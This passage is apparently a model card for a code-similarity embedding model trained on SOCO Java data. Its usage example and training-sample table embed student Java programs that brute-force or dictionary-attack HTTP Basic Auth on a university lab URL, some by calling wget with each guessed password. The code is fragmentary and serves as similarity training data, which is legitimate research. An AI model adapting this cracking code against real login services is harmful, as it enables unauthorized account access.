+ \t p.destroy();\n\n\t\t\t\tif(ln!=null)\n \n if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o')\n\
712
+ \ {\n\n System.out.println(password);\n\t\t\t\t\tSystem.out.println(\"\
713
+ Finish cracking.\");\n\t\t\t\t\tSystem.out.println(ln);\n\t\t\t\t\tSystem.out.println(\"\
714
+ password is \"+password);\n time2=new Date().getTime();\n System.out.println(\"\
715
+ costs \"+(time2-time1)+\" milliseconds\");\n System.out.println(\"The\
716
+ \ number of attempts is \"+num);\n\t\t System.exit(1);\n }\n \
717
+ \ \n \n\n } catch (FileNotFoundException exc) {\n System.out.println\
718
+ \ (\"File Not Found\");\n\t\t\t\tk++;\n } catch (IOException exc) {\n\t\t\
719
+ \ System.out.println (\"IOException\");\n k++;\n } catch (NullPointerException\
720
+ \ exc) {\n\t\t System.out.println (\"NullPointerException\");\n k++;\n\
721
+ \t \t}\n\n }\n }\n }\n }\n}\n"
722
+ datasets:
723
+ - buelfhood/SOCO_TRAIN_java
724
+ pipeline_tag: sentence-similarity
725
+ library_name: sentence-transformers
726
+ ---
727
+
728
+ # SentenceTransformer based on microsoft/unixcoder-base-unimodal
729
+
730
+ This is a [sentence-transformers](https://www.SBERT.net) model finetuned from [microsoft/unixcoder-base-unimodal](https://huggingface.co/microsoft/unixcoder-base-unimodal) on the [soco_train_java](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java) dataset. It maps sentences & paragraphs to a 768-dimensional dense vector space and can be used for semantic textual similarity, semantic search, paraphrase mining, text classification, clustering, and more.
731
+
732
+ ## Model Details
733
+
734
+ ### Model Description
735
+ - **Model Type:** Sentence Transformer
736
+ - **Base model:** [microsoft/unixcoder-base-unimodal](https://huggingface.co/microsoft/unixcoder-base-unimodal) <!-- at revision c6b7b85380bf4e01309a3cf5e4f686433764d923 -->
737
+ - **Maximum Sequence Length:** 512 tokens
738
+ - **Output Dimensionality:** 768 dimensions
739
+ - **Similarity Function:** Cosine Similarity
740
+ - **Training Dataset:**
741
+ - [soco_train_java](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java)
742
+ <!-- - **Language:** Unknown -->
743
+ <!-- - **License:** Unknown -->
744
+
745
+ ### Model Sources
746
+
747
+ - **Documentation:** [Sentence Transformers Documentation](https://sbert.net)
748
+ - **Repository:** [Sentence Transformers on GitHub](https://github.com/UKPLab/sentence-transformers)
749
+ - **Hugging Face:** [Sentence Transformers on Hugging Face](https://huggingface.co/models?library=sentence-transformers)
750
+
751
+ ### Full Model Architecture
752
+
753
+ ```
754
+ SentenceTransformer(
755
+ (0): Transformer({'max_seq_length': 512, 'do_lower_case': False}) with Transformer model: RobertaModel
756
+ (1): Pooling({'word_embedding_dimension': 768, 'pooling_mode_cls_token': False, 'pooling_mode_mean_tokens': True, 'pooling_mode_max_tokens': False, 'pooling_mode_mean_sqrt_len_tokens': False, 'pooling_mode_weightedmean_tokens': False, 'pooling_mode_lasttoken': False, 'include_prompt': True})
757
+ )
758
+ ```
759
+
760
+ ## Usage
761
+
762
+ ### Direct Usage (Sentence Transformers)
763
+
764
+ First install the Sentence Transformers library:
765
+
766
+ ```bash
767
+ pip install -U sentence-transformers
768
+ ```
769
+
770
+ Then you can load this model and run inference.
771
+ ```python
772
+ from sentence_transformers import SentenceTransformer
773
+
774
+ # Download from the 🤗 Hub
775
+ model = SentenceTransformer("buelfhood/SOCO-Java-UnixCoder-Softmax-PairClass-VAST-ep2-bs32-noEval")
776
+ # Run inference
777
+ sentences = [
778
+ '\n\n\n\nimport java.util.*;\nimport java.net.*;\nimport java.io.*;\nimport javax.swing.*;\n\npublic class PasswordCombination\n{\n private int pwdCounter = 0;\n private int startTime;\n private String str1,str2,str3;\n private String url = "http://sec-crack.cs.rmit.edu./SEC/2/";\n private String loginPwd;\n private String[] password;\n private HoldSharedData data;\n private char[] chars = {\'A\',\'B\',\'C\',\'D\',\'E\',\'F\',\'G\',\'H\',\'I\',\'J\',\'K\',\'L\',\'M\',\n \'N\',\'O\',\'P\',\'Q\',\'R\',\'S\',\'T\',\'U\',\'V\',\'W\',\'X\',\'Y\',\'Z\',\n \'a\',\'b\',\'c\',\'d\',\'e\',\'f\',\'g\',\'h\',\'i\',\'j\',\'k\',\'l\',\'m\',\n \'n\',\'o\',\'p\',\'q\',\'r\',\'s\',\'t\',\'u\',\'v\',\'w\',\'x\',\'y\',\'z\'};\n\n public PasswordCombination()\n {\n System.out.println("Programmed by for INTE1070 Assignment 2");\n\n String input = JOptionPane.showInputDialog( "Enter number of threads" );\n if( input == null )\n System.exit(0);\n\n int numOfConnections = Integer.parseInt( input );\n startTime = System.currentTimeMillis();\n int pwdCounter = 52*52*52 + 52*52 + 52;\n password = new String[pwdCounter];\n\n doPwdCombination();\n\n System.out.println("Total Number of Passwords Generated: " + pwdCounter);\n createConnectionThread( numOfConnections );\n }\n\n private void doPwdCombination()\n {\n for( int i = 0; i < 52; i ++ )\n {\n str1 = "" + chars[i];\n password[pwdCounter++] = "" + chars[i];\n System.err.print( str1 + " | " );\n\n for( int j = 0; j < 52; j ++ )\n {\n str2 = str1 + chars[j];\n password[pwdCounter++] = str1 + chars[j];\n\n for( int k = 0; k < 52; k ++ )\n {\n str3 = str2 + chars[k];\n password[pwdCounter++] = str2 + chars[k];\n }\n }\n }\n\n System.err.println( "\\n" );\n }\n\n private void loadPasswords( )\n {\n FileReader fRead;\n BufferedReader buf;\n String line = null;\n String fileName = "words";\n\n try\n {\n fRead = new FileReader( fileName );\n buf = new BufferedReader(fRead);\n\n while((line = buf.readLine( )) != null)\n {\n password[pwdCounter++] = line;\n }\n }\n catch(FileNotFoundException e)\n {\n System.err.println("File not found: " + fileName);\n }\n catch(IOException ioe)\n {\n System.err.println("IO Error " + ioe);\n }\n }\n\n private void createConnectionThread( int input )\n {\n data = new HoldSharedData( startTime, password, pwdCounter );\n\n int numOfThreads = input;\n int batch = pwdCounter/numOfThreads + 1;\n numOfThreads = pwdCounter/batch + 1;\n System.out.println("Number of Connection Threads Used:" + numOfThreads);\n ConnectionThread[] connThread = new ConnectionThread[numOfThreads];\n\n for( int index = 0; index < numOfThreads; index ++ )\n {\n connThread[index] = new ConnectionThread( url, index, batch, data );\n connThread[index].conn();\n }\n }\n} ',
779
+ '\nimport java.util.*;\n\n\npublic class Cracker\n{\n private char[] letters = {\'a\', \'b\', \'c\', \'d\', \'e\', \'f\', \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\', \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\', \'w\', \'x\', \'y\', \'z\', \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\', \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\', \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\', \'Y\', \'Z\'};\n private Vector v;\n\n public Cracker()\n {\n v = new Vector( 52);\n }\n public void loadLetters()\n {\n int i;\n\n for( i = 0; i < letters.length; i++)\n {\n\t String s = new StringBuffer().append( letters[i]).toString();\n v.add( s);\n }\n }\n public Vector getVictor()\n {\n return ;\n }\n public void loadPairs()\n {\n int i,j;\n\n for( i = 0; i < letters.length - 1; i++)\n {\n for( j = i + 1; j < letters.length; j++)\n {\n String s1 = new StringBuffer().append( letters[i]).append( letters[j]).toString();\n\t String s2 = new StringBuffer().append( letters[j]).append( letters[i]).toString();\n\t v.add( s1);\n\t v.add( s2);\n\t }\n }\n for( i = 0; i < letters.length; i++)\n {\n String s3 = new StringBuffer().append( letters[i]).append( letters[i]).toString();\n\t v.add( s3);\n }\n }\n public void loadTriples()\n {\n int i, j, k;\n \n for( i = 0; i < letters.length; i++)\n {\n String s4 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[i]).toString();\n\t v.add( s4);\n }\n for( i = 0; i < letters.length - 1; i++)\n {\n for( j = i + 1; j < letters.length; j++)\n\t {\n\t String s5 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[j]).toString();\n\t String s6 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[j]).toString();\n\t String s7 = new StringBuffer().append( letters[j]).append( letters[j]).append( letters[i]).toString();\n\t String s8 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[i]).toString();\n\t String s9 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[i]).toString();\n\t String s10 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[j]).toString();\n\t v.add( s5);\n\t v.add( s6);\n\t v.add( s7);\n\t v.add( s8);\n\t v.add( s9);\n\t v.add( s10);\n\t }\n }\n for( i = 0; i < letters.length - 2; i++)\n {\n for( j = i + 1; j < letters.length - 1; j++)\n\t {\n\t for( k = i + 2; k < letters.length; k++)\n\t {\n\t String s11 = new StringBuffer().append( letters[i]).append( letters[j]).append(letters[k]).toString();\n\t String s12 = new StringBuffer().append( letters[i]).append( letters[k]).append(letters[j]).toString();\n\t String s13 = new StringBuffer().append( letters[k]).append( letters[j]).append(letters[i]).toString();\n\t String s14 = new StringBuffer().append( letters[k]).append( letters[i]).append(letters[j]).toString();\n\t String s15 = new StringBuffer().append( letters[j]).append( letters[i]).append(letters[k]).toString();\n\t String s16 = new StringBuffer().append( letters[j]).append( letters[k]).append(letters[i]).toString();\n\t v.add( s11);\n\t v.add( s12);\n\t v.add( s13);\n\t v.add( s14);\n\t v.add( s15);\n\t v.add( s16);\n\t }\n\t }\n }\n }\n \n public static void main( String[] args)\n {\n Cracker cr = new Cracker();\n cr.loadLetters();\n cr.loadPairs();\n cr.loadTriples();\n System.out.println(" far "+cr.getVictor().size()+" elements loaded");\n }\n}\n \n',
780
+ '\nimport java.util.*;\n\n\npublic class Cracker\n{\n private char[] letters = {\'a\', \'b\', \'c\', \'d\', \'e\', \'f\', \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\', \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\', \'w\', \'x\', \'y\', \'z\', \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\', \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\', \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\', \'Y\', \'Z\'};\n private Vector v;\n\n public Cracker()\n {\n v = new Vector( 52);\n }\n public void loadLetters()\n {\n int i;\n\n for( i = 0; i < letters.length; i++)\n {\n\t String s = new StringBuffer().append( letters[i]).toString();\n v.add( s);\n }\n }\n public Vector getVictor()\n {\n return ;\n }\n public void loadPairs()\n {\n int i,j;\n\n for( i = 0; i < letters.length - 1; i++)\n {\n for( j = i + 1; j < letters.length; j++)\n {\n String s1 = new StringBuffer().append( letters[i]).append( letters[j]).toString();\n\t String s2 = new StringBuffer().append( letters[j]).append( letters[i]).toString();\n\t v.add( s1);\n\t v.add( s2);\n\t }\n }\n for( i = 0; i < letters.length; i++)\n {\n String s3 = new StringBuffer().append( letters[i]).append( letters[i]).toString();\n\t v.add( s3);\n }\n }\n public void loadTriples()\n {\n int i, j, k;\n \n for( i = 0; i < letters.length; i++)\n {\n String s4 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[i]).toString();\n\t v.add( s4);\n }\n for( i = 0; i < letters.length - 1; i++)\n {\n for( j = i + 1; j < letters.length; j++)\n\t {\n\t String s5 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[j]).toString();\n\t String s6 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[j]).toString();\n\t String s7 = new StringBuffer().append( letters[j]).append( letters[j]).append( letters[i]).toString();\n\t String s8 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[i]).toString();\n\t String s9 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[i]).toString();\n\t String s10 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[j]).toString();\n\t v.add( s5);\n\t v.add( s6);\n\t v.add( s7);\n\t v.add( s8);\n\t v.add( s9);\n\t v.add( s10);\n\t }\n }\n for( i = 0; i < letters.length - 2; i++)\n {\n for( j = i + 1; j < letters.length - 1; j++)\n\t {\n\t for( k = i + 2; k < letters.length; k++)\n\t {\n\t String s11 = new StringBuffer().append( letters[i]).append( letters[j]).append(letters[k]).toString();\n\t String s12 = new StringBuffer().append( letters[i]).append( letters[k]).append(letters[j]).toString();\n\t String s13 = new StringBuffer().append( letters[k]).append( letters[j]).append(letters[i]).toString();\n\t String s14 = new StringBuffer().append( letters[k]).append( letters[i]).append(letters[j]).toString();\n\t String s15 = new StringBuffer().append( letters[j]).append( letters[i]).append(letters[k]).toString();\n\t String s16 = new StringBuffer().append( letters[j]).append( letters[k]).append(letters[i]).toString();\n\t v.add( s11);\n\t v.add( s12);\n\t v.add( s13);\n\t v.add( s14);\n\t v.add( s15);\n\t v.add( s16);\n\t }\n\t }\n }\n }\n \n public static void main( String[] args)\n {\n Cracker cr = new Cracker();\n cr.loadLetters();\n cr.loadPairs();\n cr.loadTriples();\n System.out.println(" far "+cr.getVictor().size()+" elements loaded");\n }\n}\n \n',
781
+ ]
782
+ embeddings = model.encode(sentences)
783
+ print(embeddings.shape)
784
+ # [3, 768]
785
+
786
+ # Get the similarity scores for the embeddings
787
+ similarities = model.similarity(embeddings, embeddings)
788
+ print(similarities.shape)
789
+ # [3, 3]
790
+ ```
791
+
792
+ <!--
793
+ ### Direct Usage (Transformers)
794
+
795
+ <details><summary>Click to see the direct usage in Transformers</summary>
796
+
797
+ </details>
798
+ -->
799
+
800
+ <!--
801
+ ### Downstream Usage (Sentence Transformers)
802
+
803
+ You can finetune this model on your own dataset.
804
+
805
+ <details><summary>Click to expand</summary>
806
+
807
+ </details>
808
+ -->
809
+
810
+ <!--
811
+ ### Out-of-Scope Use
812
+
813
+ *List how the model may foreseeably be misused and address what users ought not to do with the model.*
814
+ -->
815
+
816
+ <!--
817
+ ## Bias, Risks and Limitations
818
+
819
+ *What are the known or foreseeable issues stemming from this model? You could also flag here known failure cases or weaknesses of the model.*
820
+ -->
821
+
822
+ <!--
823
+ ### Recommendations
824
+
825
+ *What are recommendations with respect to the foreseeable issues? For example, filtering explicit content.*
826
+ -->
827
+
828
+ ## Training Details
829
+
830
+ ### Training Dataset
831
+
832
+ #### soco_train_java
833
+
834
+ * Dataset: [soco_train_java](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java) at [44ca4ff](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java/tree/44ca4ff546c090153d7903c15aeda036891ec476)
835
+ * Size: 33,411 training samples
836
+ * Columns: <code>label</code>, <code>text_1</code>, and <code>text_2</code>
837
+ * Approximate statistics based on the first 1000 samples:
838
+ | | label | text_1 | text_2 |
839
+ |:--------|:-----------------------------------------------|:-------------------------------------------------------------------------------------|:-------------------------------------------------------------------------------------|
840
+ | type | int | string | string |
841
+ | details | <ul><li>0: ~99.80%</li><li>1: ~0.20%</li></ul> | <ul><li>min: 51 tokens</li><li>mean: 457.49 tokens</li><li>max: 512 tokens</li></ul> | <ul><li>min: 512 tokens</li><li>mean: 512.0 tokens</li><li>max: 512 tokens</li></ul> |
842
+ * Samples:
843
+ | label | text_1 | text_2 |
844
+ |:---------------|:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
845
+ | <code>0</code> | <code><br>import java.net.*;<br>import java.io.*;<br>import java.util.*;<br><br><br>public class Dictionary {<br><br> public static void main(String args[])<br> {<br> int i,j,k;<br> String pass = new String();<br> String UserPass = new String();<br> String status = new String();<br> String status1 = new String();<br> BasicAuth auth = new BasicAuth();<br> URLConnection connect;<br> int start,end,diff;<br> try {<br> URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");<br><br><br><br> start =System.currentTimeMillis();<br><br> BufferedReader dis = new BufferedReader(new FileReader("words"));<br><br><br> while ((pass = dis.readLine()) != null)<br> {<br><br><br> UserPass= auth.encode("",pass);<br><br> connect = url.openConnection();<br> connect.setDoInput(true);<br> connect.setDoOutput(true);<br><br> connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");<br> connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");<br> connect.setRequestProperty(...</code> | <code><br><br>import java.*;<br>import java.io.*;<br>import java.util.*;<br><br>public class BruteForce<br>{<br> public final static int TOTAL_TIMES=52*52*52;<br> public char[] passwd;<br> public static void main(String[] args) throws IOException<br> {<br> BruteForce bf=new BruteForce();<br> System.out.println(" cracking...");<br> time1=new Date().getTime();<br> bf.doBruteForce(time1);<br> time2=new Date().getTime();<br> System.out.println("Finish cracking.");<br> System.out.println(" password found.");<br> System.out.println("costs "+(time2-time1)+" milliseconds");<br> System.exit(1);<br> }<br><br> void doBruteForce(int time1) throws IOException<br> {<br> passwd=new char[3];<br> Runtime rt=Runtime.getRuntime();<br> num=0;<br> for(int i=(int)'z';i>=(int)'A';i--)<br> {<br> if(i==96)<br> i=90;<br> passwd[0]=(char)i;<br> for(int j=(int)'z';j>=(int)'A';j--)<br> {<br> if(j==96)<br> j=90;<br> passwd[1]=(char)j;<br> for(int k=(int)'z';k>=(int)'A';k--)<br> {<br> if(k==96)<br> k=90;<br> passwd[2]=(char)k;<br> String password=new String(passwd);<br> try<br> ...</code> |
846
+ | <code>0</code> | <code><br>import java.util.*;<br><br><br>public class Cracker<br>{<br> private char[] letters = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};<br> private Vector v;<br><br> public Cracker()<br> {<br> v = new Vector( 52);<br> }<br> public void loadLetters()<br> {<br> int i;<br><br> for( i = 0; i < letters.length; i++)<br> {<br> String s = new StringBuffer().append( letters[i]).toString();<br> v.add( s);<br> }<br> }<br> public Vector getVictor()<br> {<br> return ;<br> }<br> public void loadPairs()<br> {<br> int i,j;<br><br> for( i = 0; i < letters.length - 1; i++)<br> {<br> for( j = i + 1; j < letters.length; j++)<br> {<br> String s1 = new StringBuffer().append( letters[i]).append( letters[j]).toString();<br> String s2 = new StringBuffer().append( letters[j]).append( letters[i])....</code> | <code><br><br>import java.*;<br>import java.io.*;<br>import java.util.*;<br><br>public class BruteForce<br>{<br> public final static int TOTAL_TIMES=52*52*52;<br> public char[] passwd;<br> public static void main(String[] args) throws IOException<br> {<br> BruteForce bf=new BruteForce();<br> System.out.println(" cracking...");<br> time1=new Date().getTime();<br> bf.doBruteForce(time1);<br> time2=new Date().getTime();<br> System.out.println("Finish cracking.");<br> System.out.println(" password found.");<br> System.out.println("costs "+(time2-time1)+" milliseconds");<br> System.exit(1);<br> }<br><br> void doBruteForce(int time1) throws IOException<br> {<br> passwd=new char[3];<br> Runtime rt=Runtime.getRuntime();<br> num=0;<br> for(int i=(int)'z';i>=(int)'A';i--)<br> {<br> if(i==96)<br> i=90;<br> passwd[0]=(char)i;<br> for(int j=(int)'z';j>=(int)'A';j--)<br> {<br> if(j==96)<br> j=90;<br> passwd[1]=(char)j;<br> for(int k=(int)'z';k>=(int)'A';k--)<br> {<br> if(k==96)<br> k=90;<br> passwd[2]=(char)k;<br> String password=new String(passwd);<br> try<br> ...</code> |
847
+ | <code>0</code> | <code><br><br>import java.io.*;<br>import java.*;<br>import java.util.StringTokenizer;<br><br>public class Dictionary<br>{<br> public static void main(String args[])<br> {<br> final String DICT_FILE = "/usr/share/lib/dict/words"; <br> String basic_url = "http://sec-crack.cs.rmit.edu./SEC/2/"; <br> String password;<br> String s = null;<br> int num_tries = 0;<br> <br> try<br> {<br> <br> BufferedReader dict_word = new BufferedReader<br> (new FileReader (DICT_FILE));<br> <br> <br> while((password = dict_word.readLine())!= null)<br> { <br> try <br> {<br> <br> Process p = Runtime.getRuntime().exec("wget --http-user= --http-passwd=" + password + " " + basic_url);<br> <br> BufferedReader stdInput = new BufferedReader(new <br> InputStreamReader(p.getInputStream()));<br><br> BufferedReader stdError = new BufferedReader(new <br> InputStreamReader(p.g...</code> | <code><br><br>import java.*;<br>import java.io.*;<br>import java.util.*;<br><br>public class BruteForce<br>{<br> public final static int TOTAL_TIMES=52*52*52;<br> public char[] passwd;<br> public static void main(String[] args) throws IOException<br> {<br> BruteForce bf=new BruteForce();<br> System.out.println(" cracking...");<br> time1=new Date().getTime();<br> bf.doBruteForce(time1);<br> time2=new Date().getTime();<br> System.out.println("Finish cracking.");<br> System.out.println(" password found.");<br> System.out.println("costs "+(time2-time1)+" milliseconds");<br> System.exit(1);<br> }<br><br> void doBruteForce(int time1) throws IOException<br> {<br> passwd=new char[3];<br> Runtime rt=Runtime.getRuntime();<br> num=0;<br> for(int i=(int)'z';i>=(int)'A';i--)<br> {<br> if(i==96)<br> i=90;<br> passwd[0]=(char)i;<br> for(int j=(int)'z';j>=(int)'A';j--)<br> {<br> if(j==96)<br> j=90;<br> passwd[1]=(char)j;<br> for(int k=(int)'z';k>=(int)'A';k--)<br> {<br> if(k==96)<br> k=90;<br> passwd[2]=(char)k;<br> String password=new String(passwd);<br> try<br> ...</code> |
848
+ * Loss: [<code>SoftmaxLoss</code>](https://sbert.net/docs/package_reference/sentence_transformer/losses.html#softmaxloss)
849
+
850
+ ### Training Hyperparameters
851
+ #### Non-Default Hyperparameters
852
+
853
+ - `per_device_train_batch_size`: 32
854
+ - `num_train_epochs`: 2
855
+
856
+ #### All Hyperparameters
857
+ <details><summary>Click to expand</summary>
858
+
859
+ - `overwrite_output_dir`: False
860
+ - `do_predict`: False
861
+ - `eval_strategy`: no
862
+ - `prediction_loss_only`: True
863
+ - `per_device_train_batch_size`: 32
864
+ - `per_device_eval_batch_size`: 8
865
+ - `per_gpu_train_batch_size`: None
866
+ - `per_gpu_eval_batch_size`: None
867
+ - `gradient_accumulation_steps`: 1
868
+ - `eval_accumulation_steps`: None
869
+ - `torch_empty_cache_steps`: None
870
+ - `learning_rate`: 5e-05
871
+ - `weight_decay`: 0.0
872
+ - `adam_beta1`: 0.9
873
+ - `adam_beta2`: 0.999
874
+ - `adam_epsilon`: 1e-08
875
+ - `max_grad_norm`: 1.0
876
+ - `num_train_epochs`: 2
877
+ - `max_steps`: -1
878
+ - `lr_scheduler_type`: linear
879
+ - `lr_scheduler_kwargs`: {}
880
+ - `warmup_ratio`: 0.0
881
+ - `warmup_steps`: 0
882
+ - `log_level`: passive
883
+ - `log_level_replica`: warning
884
+ - `log_on_each_node`: True
885
+ - `logging_nan_inf_filter`: True
886
+ - `save_safetensors`: True
887
+ - `save_on_each_node`: False
888
+ - `save_only_model`: False
889
+ - `restore_callback_states_from_checkpoint`: False
890
+ - `no_cuda`: False
891
+ - `use_cpu`: False
892
+ - `use_mps_device`: False
893
+ - `seed`: 42
894
+ - `data_seed`: None
895
+ - `jit_mode_eval`: False
896
+ - `use_ipex`: False
897
+ - `bf16`: False
898
+ - `fp16`: False
899
+ - `fp16_opt_level`: O1
900
+ - `half_precision_backend`: auto
901
+ - `bf16_full_eval`: False
902
+ - `fp16_full_eval`: False
903
+ - `tf32`: None
904
+ - `local_rank`: 0
905
+ - `ddp_backend`: None
906
+ - `tpu_num_cores`: None
907
+ - `tpu_metrics_debug`: False
908
+ - `debug`: []
909
+ - `dataloader_drop_last`: False
910
+ - `dataloader_num_workers`: 0
911
+ - `dataloader_prefetch_factor`: None
912
+ - `past_index`: -1
913
+ - `disable_tqdm`: False
914
+ - `remove_unused_columns`: True
915
+ - `label_names`: None
916
+ - `load_best_model_at_end`: False
917
+ - `ignore_data_skip`: False
918
+ - `fsdp`: []
919
+ - `fsdp_min_num_params`: 0
920
+ - `fsdp_config`: {'min_num_params': 0, 'xla': False, 'xla_fsdp_v2': False, 'xla_fsdp_grad_ckpt': False}
921
+ - `fsdp_transformer_layer_cls_to_wrap`: None
922
+ - `accelerator_config`: {'split_batches': False, 'dispatch_batches': None, 'even_batches': True, 'use_seedable_sampler': True, 'non_blocking': False, 'gradient_accumulation_kwargs': None}
923
+ - `deepspeed`: None
924
+ - `label_smoothing_factor`: 0.0
925
+ - `optim`: adamw_torch
926
+ - `optim_args`: None
927
+ - `adafactor`: False
928
+ - `group_by_length`: False
929
+ - `length_column_name`: length
930
+ - `ddp_find_unused_parameters`: None
931
+ - `ddp_bucket_cap_mb`: None
932
+ - `ddp_broadcast_buffers`: False
933
+ - `dataloader_pin_memory`: True
934
+ - `dataloader_persistent_workers`: False
935
+ - `skip_memory_metrics`: True
936
+ - `use_legacy_prediction_loop`: False
937
+ - `push_to_hub`: False
938
+ - `resume_from_checkpoint`: None
939
+ - `hub_model_id`: None
940
+ - `hub_strategy`: every_save
941
+ - `hub_private_repo`: None
942
+ - `hub_always_push`: False
943
+ - `gradient_checkpointing`: False
944
+ - `gradient_checkpointing_kwargs`: None
945
+ - `include_inputs_for_metrics`: False
946
+ - `include_for_metrics`: []
947
+ - `eval_do_concat_batches`: True
948
+ - `fp16_backend`: auto
949
+ - `push_to_hub_model_id`: None
950
+ - `push_to_hub_organization`: None
951
+ - `mp_parameters`:
952
+ - `auto_find_batch_size`: False
953
+ - `full_determinism`: False
954
+ - `torchdynamo`: None
955
+ - `ray_scope`: last
956
+ - `ddp_timeout`: 1800
957
+ - `torch_compile`: False
958
+ - `torch_compile_backend`: None
959
+ - `torch_compile_mode`: None
960
+ - `include_tokens_per_second`: False
961
+ - `include_num_input_tokens_seen`: False
962
+ - `neftune_noise_alpha`: None
963
+ - `optim_target_modules`: None
964
+ - `batch_eval_metrics`: False
965
+ - `eval_on_start`: False
966
+ - `use_liger_kernel`: False
967
+ - `eval_use_gather_object`: False
968
+ - `average_tokens_across_devices`: False
969
+ - `prompts`: None
970
+ - `batch_sampler`: batch_sampler
971
+ - `multi_dataset_batch_sampler`: proportional
972
+
973
+ </details>
974
+
975
+ ### Training Logs
976
+ | Epoch | Step | Training Loss |
977
+ |:------:|:----:|:-------------:|
978
+ | 0.4785 | 500 | 0.0175 |
979
+ | 0.9569 | 1000 | 0.012 |
980
+ | 1.4354 | 1500 | 0.0098 |
981
+ | 1.9139 | 2000 | 0.0037 |
982
+
983
+
984
+ ### Framework Versions
985
+ - Python: 3.11.11
986
+ - Sentence Transformers: 4.1.0
987
+ - Transformers: 4.52.4
988
+ - PyTorch: 2.8.0.dev20250319+cu128
989
+ - Accelerate: 1.7.0
990
+ - Datasets: 3.6.0
991
+ - Tokenizers: 0.21.1
992
+
993
+ ## Citation
994
+
995
+ ### BibTeX
996
+
997
+ #### Sentence Transformers and SoftmaxLoss
998
+ ```bibtex
999
+ @inproceedings{reimers-2019-sentence-bert,
1000
+ title = "Sentence-BERT: Sentence Embeddings using Siamese BERT-Networks",
1001
+ author = "Reimers, Nils and Gurevych, Iryna",
1002
+ booktitle = "Proceedings of the 2019 Conference on Empirical Methods in Natural Language Processing",
1003
+ month = "11",
1004
+ year = "2019",
1005
+ publisher = "Association for Computational Linguistics",
1006
+ url = "https://arxiv.org/abs/1908.10084",
1007
+ }
1008
+ ```
1009
+
1010
+ <!--
1011
+ ## Glossary
1012
+
1013
+ *Clearly define terms in order to be accessible across audiences.*
1014
+ -->
1015
+
1016
+ <!--
1017
+ ## Model Card Authors
1018
+
1019
+ *Lists the people who create the model card, providing recognition and accountability for the detailed work that goes into its construction.*
1020
+ -->
1021
+
1022
+ <!--
1023
+ ## Model Card Contact
1024
+
1025
+ *Provides a way for people who have updates to the Model Card, suggestions, or questions, to contact the Model Card authors.*
1026
+ -->
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